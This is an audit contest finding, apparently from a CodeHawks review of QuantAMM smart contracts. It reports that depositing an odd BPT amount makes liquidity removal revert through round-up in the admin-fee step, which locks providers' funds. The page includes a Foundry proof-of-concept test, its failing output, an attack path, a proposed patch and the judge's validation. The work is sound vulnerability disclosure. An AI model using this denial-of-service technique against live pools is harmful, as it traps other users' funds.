QuantAMM
QuantAMM
49,600 OP
View results
Previous Next
Submission Details
Severity: high
Valid

depositing Odd BptAmount leads to lock liquidity and DoS in liquidity removal process.

0xwsecteam

Summary

We have identified a critical issue in the liquidity removal process, resulting in a Denial of Service scenario for liquidity providers. This issue prevents liquidity providers from removing their liquidity, effectively causing their liquidity to remain locked within the Vault.

Vulnerability Details

The issue occurs when a user attempts to remove their liquidity, but the process fails due to roundUp during the liquidity removal operation, as a result users are unable to remove their liquidity from the Vault.

A malicious actor can exploit this vulnerability by specifying BptAmount as an odd number example 1, 3, 5, etc.. these odd values trigger a roundUp operation during the liquidity removal process, which causes Tx to revert, this failure prevent users from removing their liquidity.

PoC: add this in https://github.com/Cyfrin/2024-12-quantamm/blob/main/pkg/pool-hooks/test/foundry/UpliftExample.t.sol

NOTE: you can change BptAmount deposited by bob from 1 -> 2 to see the difference.

function test_dos_remove_liquidity() public {
uint256[] memory maxAmountsInBob = [dai.balanceOf(bob), dai.balanceOf(bob)].toMemoryArray();
uint256[] memory maxAmountsInAlice = [dai.balanceOf(alice), usdc.balanceOf(alice)].toMemoryArray();
uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
​
address updateRunnerAdmin = updateWeightRunner.getQuantAMMAdmin();
​
vm.prank(updateRunnerAdmin);
updateWeightRunner.setQuantAMMUpliftFeeTake(uint256(0.5e18));
​
uint256 bptAmountDepositAlice = 1_000_000 ether;
​
// alice deposit 1 Million DAI/USDC.
vm.startPrank(alice);
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsInAlice, bptAmountDepositAlice, false, bytes(""));
vm.stopPrank();
​
int256[] memory prices = new int256[]();
for (uint256 i = 0; i < tokens.length; ++i) {
prices[i] = int256(i) * 2e18;
}
updateWeightRunner.setMockPrices(pool, prices);
​
// Malicious bob specify odd BptAmount like 1, 3, 5 etc...
vm.startPrank(bob);
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsInBob, 1, false, bytes(""));
vm.stopPrank();
​
skip(2 weeks);
​
// Now Alice wants to remove liquidity.
// remove liquidity will fail and alice's liquidity will stuck in vault.
vm.startPrank(alice);
upliftOnlyRouter.removeLiquidityProportional(bptAmountDepositAlice, minAmountsOut, false, pool);
vm.stopPrank();
}

Result

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 32.98ms (3.45ms CPU time)
​
Ran 1 test suite in 6.09s (32.98ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
​
Failing tests:
Encountered 1 failing test in test/foundry/UpliftExample.t.sol:UpliftOnlyExampleTest
[FAIL: AmountInAboveMax(0x2e234DAe75C793f67A35089C9d99245E1C58470b, 5000000000000000000003 [5e21], 5000000000000000000000 [5e21])] test_dos_remove_liquidity() (gas: 1050802)

When user remove liquidity Admin Fees are added to Vault:

if (localData.adminFeePercent > 0) {
_vault.addLiquidity(
AddLiquidityParams({
pool: localData.pool,
to: IUpdateWeightRunner(_updateWeightRunner).getQuantAMMAdmin(),
maxAmountsIn: localData.accruedQuantAMMFees,
minBptAmountOut: localData.feeAmount.mulUp(localData.adminFeePercent) / 1e18,
kind: AddLiquidityKind.PROPORTIONAL,
userData: bytes("")
})
);
}

In our case maxAmountsIn: 5000000000000000000000 but due to roundUp and odd BptAmount deposited by malicious actor like bob the amountInRaw will be greater than params.maxAmountsIn[i] which is maxAmountsIn.

amountInRaw = amountInScaled18.toRawUndoRateRoundUp(
poolData.decimalScalingFactors[i],
poolData.tokenRates[i]
);
​
// 5000000000000000000003 > 5000000000000000000000
if (amountInRaw > params.maxAmountsIn[i]) {
revert AmountInAboveMax(token, amountInRaw, params.maxAmountsIn[i]);
}

Attack Path Step by Step

  1. Alice Adds Liquidity:

    • Alice specifies a BptAmount of 1,000,000 DAI/USDC and successfully deposits her funds into the pool.

  2. Attacker Adds Odd Liquidity:

    • At any time, the attacker deposits liquidity with an odd BptAmount example 1, 3, 5, 7 etc...

    • This odd value triggers a roundUp operation in the removal logic.

  3. Liquidity Removal Fails:

    • Due to the roundUp issue caused by the attacker's odd BptAmount, Users will not be able to remove liquidity.

    • As a result, all users' liquidity is effectively locked in the Vault, causing a Denial of Service.

Impact

Liquidity Lock: Users are unable to remove their liquidity due to the revert, effectively locking their funds in the Vault.

Recommendations

The solution is to prevent users from adding odd BptAmount like 1, 5, 100000001 etc.. we have added peice of code to make sure that BptAmount is even and cannot be odd or 0.

File: https://github.com/Cyfrin/2024-12-quantamm/blob/main/pkg/pool-hooks/contracts/hooks-quantamm/UpliftOnlyExample.sol#L219-L263

function addLiquidityProportional(
address pool,
uint256[] memory maxAmountsIn,
uint256 exactBptAmountOut,
bool wethIsEth,
bytes memory userData
) external payable saveSender(msg.sender) returns(uint256[] memory amountsIn) {
if (poolsFeeData[pool][msg.sender].length > 100) {
revert TooManyDeposits(pool, msg.sender);
}
​
+ if (exactBptAmountOut % 2 == 1) {
+ exactBptAmountOut -= 1;
+ }
+ require(exactBptAmountOut != 0, "exactBptAmountOut must be > 0");
​
// Do addLiquidity operation - BPT is minted to this contract.
amountsIn = _addLiquidityProportional(
pool,
msg.sender,
address(this),
maxAmountsIn,
exactBptAmountOut,
wethIsEth,
userData
);
​
uint256 tokenID = lpNFT.mint(msg.sender);
​
// this requires the pool to be registered with the QuantAMM update weight runner
// as well as approved with oracles that provide the prices
uint256 depositValue = getPoolLPTokenValue(
IUpdateWeightRunner(_updateWeightRunner).getData(pool),
pool,
MULDIRECTION.MULDOWN
);
​
poolsFeeData[pool][msg.sender].push(
FeeData({
tokenID: tokenID,
amount: exactBptAmountOut,
//this rounding favours the LP
lpTokenDepositValue: depositValue,
//known use of timestamp, caveats are known.
blockTimestampDeposit: uint40(block.timestamp),
upliftFeeBps: upliftFeeBps
})
);
​
nftPool[tokenID] = pool;
}
Updates

Lead Judging Commences

n0kto Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_onAfterRemoveLiquidity_vault.addLiquidity_rounding_precision_DoS

Likelihood: High, multiple rounding down and little value can trigger the bug Impact: High, DoS the removal.

Appeal created

0xwsecteam Submitter
10 months ago
0xwsecteam Submitter
10 months ago
n0kto Lead Judge
10 months ago
n0kto Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_onAfterRemoveLiquidity_vault.addLiquidity_rounding_precision_DoS

Likelihood: High, multiple rounding down and little value can trigger the bug Impact: High, DoS the removal.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!